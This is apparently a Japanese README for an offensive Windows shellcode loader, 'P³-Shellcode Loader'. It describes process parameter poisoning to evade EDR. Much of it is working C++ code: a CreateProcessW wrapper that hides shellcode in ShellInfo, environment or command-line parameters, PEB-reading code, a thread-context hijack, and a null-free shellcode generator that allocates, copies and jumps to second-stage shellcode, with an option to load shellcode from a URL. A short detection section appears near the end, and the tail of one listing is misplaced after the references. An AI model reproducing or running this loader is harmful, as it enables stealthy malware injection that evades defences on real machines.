
P³-Shellcode Loader は、一般的な検知メカニズムをトリガーすることなく、リモートプロセスへのシェルコード注入の実行およびステージングの場所として Process Parameters 構造体を利用する、コードインジェクション技術を実装したローダーです。
著者: Max Hirschberger & Ogulcan Ugur
P³-Shellcode Loader は、一般的な検知メカニズムを引き起こすことなく、リモートプロセスへのシェルコードインジェクションの実行およびステージングの場所として Process Parameters 構造体(プロセスパラメータポイズニング)を活用するコードインジェクション技術を実装したローダーです。
同様のコンセプトは、セキュリティ研究者 modexp によって説明されており、CreateProcess API に渡される引数がこの目的に利用可能であることを実証しました [1]。
攻撃者は、自身の活動をより疑われにくくしたいと考えます。プロセスインジェクションを用いることで、攻撃者はより信頼されている、または特定の活動を行うと期待される別のプロセスから活動を実行できるため、疑念を低減できます。
別のプロセスにコードを注入するために必要な典型的な手順は以下のとおりです:
OpenProcess / NtOpenProcess または CreateProcess / NtCreateProcess を介して)。VirtualAllocEx または NtAllocateVirtualMemory を介して)。WriteProcessMemory / NtWriteVirtualMemory を介して)。VirtualProtectEx / NtProtectVirtualMemory を介して)。CreateRemoteThread または NtCreateThreadEx を介して)。その他のインジェクション技術には、以下が含まれますがこれらに限定されません:
NtSetContextThread を介して)NtQueueApcThread を介して)RtlCreateProcessReflection を悪用します。
私たちのテストでは、ほとんどのEDRがプロセスインジェクションを検知するために特定のテレメトリに焦点を当てていることを観察しました。EDRは主に WriteProcessMemory と VirtualAllocEx、およびその基盤となるカーネルシステムコールである NtWriteVirtualMemory、NtAllocateVirtualMemory、NtAllocateVirtualMemoryEx の使用を監視します。Windows は、新しいプロセスを作成するための API 関数 CreateProcessW を提供します(リスト 1 を参照)。そのパラメータの最初の3つ、lpCommandLine、lpEnvironment、lpStartupInfo は、新しいプロセスにデータを転送するために使用されるため、説明したインジェクション技術に関連します。```c
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
*リスト 1: CreateProcessW Windows API 関数の定義*
`lpCommandLine` パラメータは、新しいプロセスのコマンドラインを指定します。これは、unicode の null 終端文字を含めて最大 32,767 文字に制限されています。unicode バリアントの場合、関数が書き込むことのできる文字列を指定する必要があります。定数文字列が指定された場合、API 関数による書き込み試行はメモリアクセス違反を引き起こします。値が `NULL` の場合、プロセスのコマンドラインは `lpApplicationName` パラメータから取得されます。`lpApplicationName` が `NULL` の場合、コマンドラインは `lpCommandLine` フィールドで指定する必要があり、`MAX_PATH` 文字に制限されます。
`lpEnvironment` パラメータは、プロセスに環境変数のリストを提供します。値が `NULL` の場合、作成元プロセスの環境が使用されます。環境変数のリストは、`NAME=VALUE` 形式の連続した null 終端文字列で構成され、末尾に別の null 終端文字が付きます。
`lpStartupInfo` パラメータは、リスト 2 に示す構造体であり、ウィンドウステーション、デスクトップ、標準入力および標準出力ハンドルなどのフィールドに加えて、新しいプロセスのメインウィンドウを構成するフィールドを持ちます。Microsoft のドキュメントによると、`lpReserved` フィールドは内部使用のために予約されており、それ以上のドキュメントはありません。WinDbg デバッガによる解析を通じて、このパラメータを新しいプロセスの `UNICODE_STRING` 型の `ShellInfo` 変数に関連付けることができました。```c
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
リスト 2: STARTUPINFOW データ構造のレイアウト
新しいプロセスが作成されると、指定されたすべてのプロセスパラメータがプロセス環境ブロック (PEB) に書き込まれます。PEB は、すべてのプロセスに存在し、各プロセスに固有のデータ構造です。これらのパラメータは、型 RTL_USER_PROCESS_PARAMETERS の ProcessParameters メンバー内でアクセスできます。プロセスパラメータのほかに、この構造体には、読み込まれたモジュールのリストなどの実行時情報も含まれます。PEB の構造と、RTL_USER_PROCESS_PARAMETERS 内の関連するプロセスパラメータを、リスト 3 とリスト 4 に示します。```c
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
*リスト3: PEBデータ構造のレイアウト*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
リスト4:RTL_USER_PROCESS_PARAMETERSデータ構造のレイアウト
図1は、STARTUPINFOW構造体のlpReservedフィールドに指定されたポイズン値を持つShellInfoパラメータを示しています。さらに、図2はSystem Informerツール内の制御されたコマンドラインを示しています。
図1:ポイズン化されたShellInfoパラメータ
図2:ポイズン化されたコマンドライン
悪意のあるコードをコピーするために使用できるパラメータは複数あるため、リスト5のラッパー関数は、選択したプロセスパラメータにポイズン引数を指定してプロセスを作成します。実装されたインジェクタを実行するとき、この選択は図3に示すように行うことができます。さらに、lpApplicationで使用されるターゲットアプリケーションには任意の値を指定でき、ユーザープロンプトは図4に示されています。```cpp
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
*リスト5: CreateProcessWithPoisonの実装*
この関数は、3つの異なるパラメータ選択を実装しています。
1. **ShellInfo インジェクション:** `lpStartupInfo` パラメータの `lpReserved` フィールドにポイズンを配置します。このパラメータは PEB 内の `ShellInfo` 変数にコピーされます。
2. **環境インジェクション:** `CREATE_UNICODE_ENVIRONMENT` フラグを指定して `lpEnvironment` パラメータにポイズンを配置します。
3. **コマンドラインインジェクション:** `CreateProcessW` の `lpCommandLine` パラメータにポイズンを配置します。
<img width="753" height="445" alt="画像" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />
*図3: ポイズン化可能なパラメータの選択*
<img width="752" height="167" alt="画像" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />
*図4: 対象アプリケーション実行ファイルの選択*
### 4.2 新しいプロセスでの注入データの特定
プロセスの作成が成功すると、注入されたデータは PEB 構造を介して見つけることができます。新しいプロセス内でポイズンを特定するには、次の3つの手順が必要です。
まず、`NtQueryInformationProcess` を呼び出すことによって、PEB 構造の開始アドレスが決定されます。`NtQueryInformationProcess` は、情報クラス `ProcessBasicInformation` を指定して呼び出すと、データ構造 `PROCESS_BASIC_INFORMATION` を取得します。そして `PROCESS_BASIC_INFORMATION` は、`PebBaseAddress` フィールドに PEB のアドレスを含みます。この手順は、リスト6に示されています。```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
リスト6: 注入データを特定する最初のステップ
2番目のステップでは、最初のステップで取得した構造体の開始アドレスを指定してNtReadVirtualMemoryExを呼び出し、PEB構造体を読み取ります。2番目のステップの実装は、リスト7に示されています。```cpp
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
*リスト7: インジェクションされたデータを特定する第2ステップ*
PEBを読み取った後、`ProcessParameters` フィールドには、新しいプロセス内の `RTL_USER_PROCESS_PARAMETERS` 構造体の開始アドレスが含まれます。第3ステップでは、この構造体も新しいプロセスから読み取られます。インジェクションされたデータへのポインタは、この構造体内にあります。第3ステップはリスト8に示されています。```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
リスト8: 注入されたデータを特定する第3のステップ
このアプローチはメモリ読み取りAPIのみを使用し、EDRが注視する書き込みや割り当てのAPIは使用しません。ただし、パラメータによって1つの制限があります。これらのパラメータはNULL終端文字列であるため、NULL終端文字を含まないシェルコードのみが完全に転送できます。この制限を克服する解決策はセクション5で説明します。
コードを転送した後も、プロセスの実行をそのコードに向ける必要があります。さらに、パラメータは実行可能とマークされた領域に配置されないため、注入されたデータのメモリ保護を調整する必要があります。
保護を変更するには、Windows API NtProtectVirtualMemory を使用して、読み取りと書き込みのみから読み取りと実行のみに保護を変更します。
コードの実行をシェルコードにリダイレクトするには、次の3つの方法があります:
CreateRemoteThread / NtCreateThreadEx: シェルコードから開始する新しいスレッドを作成しますQueueUserAPC / NtQueueApcThread: 既存のスレッドにAPCをキュー登録し、最終的にそのスレッドをシェルコードにリダイレクトしますRtlCreateProcessReflection の実装を詳しく調べると、NtWriteVirtualMemory と NtCreateThreadEx を呼び出していることがわかりました。基本的に、ターゲットプロセス内にスレッドを作成して、ntdll.dll 内の関数を実行します。この関数は、RtlCloneUserProcess を呼び出してフォークしたプロセスを作成するとともに、フォークしたプロセスへのメモリ書き込みも行います。
NtWriteVirtualMemory はEDRが使用する主要な指標の1つであるため、Dirty Vanityメソッドは必要以上に疑いを招くだけです。
その代わりに、メインスレッドのコンテキストの操作が使用されます。これはDirty Vanityに比べて以下の利点があるためです:
CreateProcessW は、PROCESS_INFORMATION 構造体内でメインスレッドの有効なハンドルをすでに提供します。ハンドルは、プロセス、スレッド、ファイルなどのシステムリソースと対話するためにカーネルが提供する抽象的な参照オブジェクトです。ハンドルは本質的に、プロセス固有のハンドルテーブルへのインデックスであり、各ハンドルをカーネル内のオブジェクトと、そのオブジェクトへの関連するアクセスレベルにマッピングします。NtWriteVirtualMemory、VirtualAllocEx、CreateRemoteThread は一切使用されず、NtSetContextThread のみが呼び出されます。
スレッドのコンテキストは、すべてのプロセッサレジスタの状態です。したがって、コンテキストを操作することで、つまり命令ポインタレジスタを変更することで、スレッドの実行フローをリダイレクトできます。通常、スレッドコンテキストは次の手順で操作されます:スレッドの中断: ターゲットスレッドは、SuspendThread を呼び出すか、中断状態で作成することにより、中断状態に置かれます
コンテキストの読み取り: 現在のコンテキストが GetThreadContext を介して CONTEXT データ構造に読み取られます
コンテキストの変更: コンテキストに必要な変更が加えられます。例: 命令ポインタレジスタ RIP の変更
コンテキストの適用: SetThreadContext を呼び出して、変更されたコンテキストがスレッドに書き込まれます
スレッドの再開: ResumeThread が呼び出され、RIP の新しい値でスレッドの実行が再開されます
スレッドのコンテキストは、最初に中断しなくても変更できます。したがって、プロセスインジェクションのためにEDRによって監視される可能性のある SuspendThread と ResumeThread を呼び出す必要はありません。さらに、以前の実行を後で復元する必要がない場合は、GetThreadContext の呼び出しもスキップできます。結果として得られる実装をリスト9に示します。```cpp
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status); return status; }
*リスト9: ThreadSetExec におけるスレッドコンテキストの操作*
### 4.4 実装されたペイロードインジェクション
この注入技術の実装には、図5に示す以下の4つのペイロードオプションが含まれています。
1. 最初のオプションは、ポップアップウィンドウを表示するシンプルなデモで、図5に示されています。このオプションでは、注入される追加のシェルコードや実行可能ファイルは必要ありません。
2. 2番目のオプションは、シェルコードの16進表現を受け取り、それを注入します。シェルコードにNULLバイトが含まれる場合、セクション5で説明する方法で注入されます。
3. 3番目のオプションは、DLLファイルへのパスを受け取り、そのパスがターゲット内の `LoadLibraryA` に渡されます。
4. 最後に、4番目のオプションはHTTP(S) URLから生のシェルコードを読み込み、NULLバイトの制限にも対応します。
<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />
*図5: 注入されるシェルコードの選択*
<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />
*図6: シェルコードによって作成されたメッセージボックス*
---
## 5. 文字列内での任意のシェルコードの受け渡し
パラメータ内で任意のデータを渡すことはできません。これは、NULL終端文字までのデータのみがコピーされるためです。この制限を克服するために、NULL終端文字を出力しないシェルコードジェネレータを構築しました。
このシェルコードジェネレータは、任意のパラメータを持つ `MessageBoxA`、`LoadLibraryA`、`NtTerminateProcess`、`NtSuspendThread` を呼び出すためのシェルコードを作成できます。さらに、任意のセカンドステージシェルコードをデコードしてジャンプするシェルコードを生成することもできます。
これは、公開機能のためのプライベートヘルパーメソッドとパブリックメソッドを持つ、C++ クラス `ShellCodeWriter` に実装されています。実装の詳細については、以下で説明します。
### 5.1 シェルコードジェネレータで使用される低レベルヘルパーメソッド
`Xor` は、シェルコードがゼロバイトを含む任意のデータを生成できるようにするためのプリミティブとして使用されます。このプリミティブは、2つの64ビット値を受け取るヘルパーメソッド `SetRAXXOR` に実装されています。これは、指定された64ビット値とのxor演算を実行し、結果を `RAX` レジスタに保存するシェルコードを出力します。
追加のヘルパー `SetRAX` は、xorされると指定された値になる2つの64ビット値を作成します。また、これらの2つの64ビット値にゼロバイトが含まれないようにします。要するに、`SetRAX` は、`RAX` レジスタを任意の64ビット値に設定するシェルコードを出力します。
`SetRAXXOR` と `SetRAX` はどちらもリスト10に示されています。さらに、3つの `SetRAX` 呼び出しの例から得られるマシンコードがリスト11に示されています。```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
リスト10: SetRAXXOR と SetRAX の実装```asm ; SetRAX(0) xor rax, rax
; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15
; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15
*リスト11: SetRAXによって生成されるコードの例*
`SetRAX` は、ヘルパーメソッド `PushValue`、`PushBuffer`、`SetArgRegister`、`SetArgRegisterStackRelative` の基礎となる。`PushValue` は `SetRAX` を呼び出し、その後に `push RAX` 命令を続けるため、任意の値をスタックにプッシュできる。`PushBuffer` は `PushValue` を使って任意のバイト配列をスタックに書き込む。このために、データを64ビット値に分割し、逆順でプッシュする。スタックポインタはプッシュのたびにデクリメントされるため、順序を逆にする必要がある。シェルコードジェネレータは、`m_total_consumed_stack_bytes` 変数を使ってプッシュされたバイト数を追跡する。この変数は、`FreeStack` ヘルパーメソッドでスタックをクリーンアップし、スタックポインタを初期値に戻すために使用される。
Windows 64ビットx86アプリケーションバイナリインターフェースでは、関数呼び出し時に最初の4つの引数にレジスタ `RCX`、`RDX`、`R8`、`R9` が使用される。追加の引数は、32バイトのシャドウスペースの後にスタックへプッシュされる。シャドウスペースは呼び出された関数のために予約されており、最初の4つの引数レジスタを保存するために使われる。`SetArgRegister` と `SetArgRegisterStackRelative` は、これら4つの引数レジスタのいずれかを設定するために使われる。`SetArgRegister` は、指定されたレジスタを任意の定数値に設定する。`SetArgRegisterStackRelative` が生成するコードは、スタックポインタに定数オフセットを加えた値を対応する引数レジスタに書き込む。追加の関数引数は `PushValue` ヘルパーメソッドでプッシュできる。
ヘルパー `Call` は、スタックポインタを16バイトに整列させるコードを生成し、次に指定されたアドレスへの呼び出しを実行し、最後に最初に行った整列変更をすべて元に戻す。XMM浮動小数点レジスタ操作を利用する関数でのクラッシュを防ぐには、16バイト整列されたスタックポインタが必要である。スタック上で渡される引数を持つ関数を呼び出す場合、このヘルパーを呼び出す前に整列が正しい必要がある。そうしないと、引数が誤ったスタックオフセットに配置されることになる。
### 5.2 高水準操作の実装
最も単純な操作は、`NtTerminateProcess` または `NtSuspendThread` を呼び出すことである。これらは類似しているため、ここでは `NtTerminateProcess` のみを取り上げる。これをリスト12に示す。`NtTerminateProcess` は2つのパラメータを取り、x64呼び出し規約に従う。まず、両方のパラメータに対してヘルパー `SetArgRegister` が呼び出され、指定された値で初期化される。次にAPI関数が呼び出される。
シェルコードは同じマシン上で生成されるため、関数のアドレスは生成時に解決され、シェルコード内では解決されない。API関数の解決は `WinApiResolver` クラスによって処理される。最後に、`Call` ヘルパーメソッドが呼び出し命令とスタック整列コードを生成する。```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
リスト 12: ShellCodeWriter::CallTerminateProcess の実装
ポインタ値を受け取る関数(LoadLibraryA や MessageBoxA など)は、同じ方法では使用できません。これは、シェルコード生成時には不明な有効なメモリアドレスが必要となるためです。そのため、ヘルパー SetArgRegisterStackRelative を使用して、引数をスタック上のアドレスに設定します。リスト 13 では、モジュールパラメータ文字列がスタックに書き込まれ、最初の引数レジスタがスタック上のモジュール文字列の先頭を指すように設定されます。さらに、この関数はシャドウスペースを確保するためにスタックポインタを 32 バイト移動させます。これがないと、呼び出された関数がモジュール文字列を上書きしてしまいます。```cpp
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
*リスト13: ShellCodeWriter::CallLoadLibraryA の実装*
最後に、`LoadAndCallShellCode` はゼロバイトを含み得る任意のシェルコードを受け取り、それを実行します。その実装はリスト14とリスト15に示されており、以下の5つの操作に分けられます。
1. 任意のシェルコードは `PushBuffer` を介してスタックに書き込まれます。その後、シェルコードが上書きされないようシャドウスペースが割り当てられます。
2. 次に、生成時に既に判明しているパラメータを使用して、`VirtualAlloc` への単純な呼び出しが行われます。このAPI呼び出しは、読み書き保護された、シェルコードを収容できるメモリを割り当てます。
3. その後、`VirtualAlloc` から返されたメモリアドレスが、`R12` と `R10` の2つのレジスタに保存されます。次に、`R11` がシェルコードのサイズに初期化され、`RCX` がシェルコードの先頭を指すように設定されます。レジスタ `R10`、`R11`、`RCX` が設定された状態で、メモリコピーを実行する6つの命令が続き、新しく割り当てられたメモリ領域にシェルコードがコピーされます。
4. メモリ領域が読み書き保護されているため、シェルコードへのジャンプはまだ不可能です。読み書きと実行の両方が可能な領域を割り当てることもできますが、その場合はより疑わしいと見なされる可能性が高くなります。したがって、保護を読み取り可能かつ実行可能(ただし書き込み不可)に変更するために、`VirtualProtect` への呼び出しが行われます。
5. そして最後に、スタックが適切にアライメントされていることを確認した上で、シェルコードへのジャンプが行われます。```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
リスト14:ShellCodeWriter::LoadAndCallShellCode の実装(ステップ1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
*リスト15: ShellCodeWriter::LoadAndCallShellCode の実装(手順4〜5)*
---
## 6. 本手法による検出回避の利点
この手法の大きな利点の1つは、実行中にプロセスが一時停止状態で作成されることがなく、スレッドやプロセスが一時停止されることもない点です。一時停止状態のプロセスを作成したり、`SuspendThread` を繰り返し呼び出したりすることは、プロセスハローイング、プロセスインジェクション、および類似の攻撃で使用される既知の指標としてEDRに認識されています。
さらに、対象プロセスを作成することで、メインスレッドのハンドルがすでに利用可能となり、そのコンテキストを変更するために必要なアクセス権も備わっています。
| 側面 | 従来型インジェクション | プロセスパラメータポイズニング |
|---|---|---|
| メモリ割り当て | `VirtualAllocEx` が必要 | 明示的な割り当ては不要 |
| メモリ書き込み | `WriteProcessMemory` が必要 | `CreateProcessW` 経由で間接的 |
| 実行のリダイレクト | `CreateRemoteThread` または APC | `SetThreadContext` |
| 検出の可能性 | 高い(疑わしいAPIが多い) | 低減(良性のプロセス生成) |
| EDRテレメトリ | 厳重に監視される | 可観測性の低下 |
全体として、この手法は、正当なプロセス作成APIとスレッド管理APIを使用することでより小さなフットプリントしか残さないため、はるかに疑念を持たれにくくなります。
---
## 7. 検出アプローチ
この手法によって生成される、検出に使用できる疑わしい指標がいくつかあります。
- メモリ領域を実行可能にする `VirtualProtectEx` の後に、少なくとも `CONTEXT_CONTROL` を含む `SetThreadContext` が続くこと。命令ポインタがこの実行可能領域を指している必要はなく、代わりにガジェットを指してそこからリダイレクトすることもできる点に留意する価値があります。ただし、メモリ領域内へのポインタがCPUレジスタのいずれかに書き込まれる可能性は非常に高いです。
- プロセスパラメータのページを実行可能にする `VirtualProtectEx`。これは自プロセスと外部プロセスの両方に適用されます。
- 3つの不正利用パラメータのいずれかが疑念を抱かせるプロセスの作成。たとえば、コマンドラインのエントロピーがシェルコードのエントロピーに近いか、通常のコマンドライン値のエントロピーから大きくかけ離れている場合です。さらに、指定されたパラメータの長さが過剰であるか、多くの珍しい文字が含まれている場合もあります。ただし、これだけに依存することは誤検知が発生しやすい可能性があります。
- PEBがポインタを保持しているリモートプロセスのプロセスパラメータ構造体の読み取り。
---
## 8. 結論
要約すると、攻撃者は新しいアイデアと小さな変更を通じて、新しい手法を開発するか、または古い手法を新しい方法で再適用することにより、最新のセキュリティソリューションを回避することができます。
したがって、既存のソリューションだけに依存するのではなく、新しい検出ルールを継続的に開発することが重要です。
---
## 9. 参考文献
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx); if (!NT_SUCCESS(status)) { SetColor(FOREGROUND_RED); printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status); return status; }
return 0; }